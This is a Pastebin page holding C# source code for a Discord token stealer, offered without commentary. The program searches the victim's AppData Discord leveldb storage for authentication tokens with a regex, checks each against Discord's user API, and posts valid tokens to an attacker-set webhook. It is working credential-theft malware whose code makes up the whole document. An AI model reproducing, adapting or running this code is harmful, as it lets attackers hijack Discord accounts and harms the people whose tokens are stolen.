Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Specialized;
- using System.IO;
- using System.Net;
- using System.Text.RegularExpressions;
- namespace Discord
- {
- class Program
- {
- private static string webhook = $"{webhook}";
- private static bool CheckMatch(string text)
- {
- WebClient client = new WebClient();
- try
- {
- client.Headers.Add("Authorization", text);
- string result = client.DownloadString("https://discordapp.com/api/v6/users/@me");
- if (!result.Contains("Unauthorized"))
- {
- return true;
- } else
- {
- return false;
- }
- } catch (Exception)
- {
- return false;
- }
- }
- private static void FourthTask(string[] files)
- {
- foreach (var item in files)
- {
- if(Path.GetExtension(item) == ".ldb")
- {
- string content = File.ReadAllText(item);
- Match correctMatch = Regex.Match(content, @"[a-zA-Z0-9]{24}\.[a-zA-Z0-9]{6}\.[a-zA-Z0-9_\-]{27}|mfa\.[a-zA-Z0-9_\-]{84}");
- if(correctMatch.Success)
- {
- if (CheckMatch(correctMatch.Value))
- {
- WebClient client = new WebClient();
- NameValueCollection nvc = new NameValueCollection();
- nvc.Add("content", $"```Token : {correctMatch.Value}```");
- client.UploadValues(webhook, nvc);
- } else
- {
- Console.WriteLine("Something didn't work, please report this to me the best guy in the whole universe: kevkekvevkekvkekvkv");
- }
- }
- }
- }
- }
- private static void ThirdTask(string[] dirs)
- {
- foreach (var item in dirs)
- {
- if (item.Contains("Local Storage"))
- {
- string[] dirs2 = Directory.GetDirectories(item);
- foreach (var item2 in dirs2)
- {
- if(item2.Contains("leveldb"))
- {
- string[] files = Directory.GetFiles(item2);
- FourthTask(files);
- }
- }
- }
- }
- }
- private static void SecondTask(string[] dirs)
- {
- foreach (var item in dirs)
- {
- if (item.Contains("discord"))
- {
- string[] dirs2 = Directory.GetDirectories(item);
- ThirdTask(dirs2);
- }
- }
- }
- private static void FirstTask()
- {
- string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
- string[] dirs = Directory.GetDirectories(path);
- SecondTask(dirs);
- }
- static void Main(string[] args)
- {
- FirstTask();
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement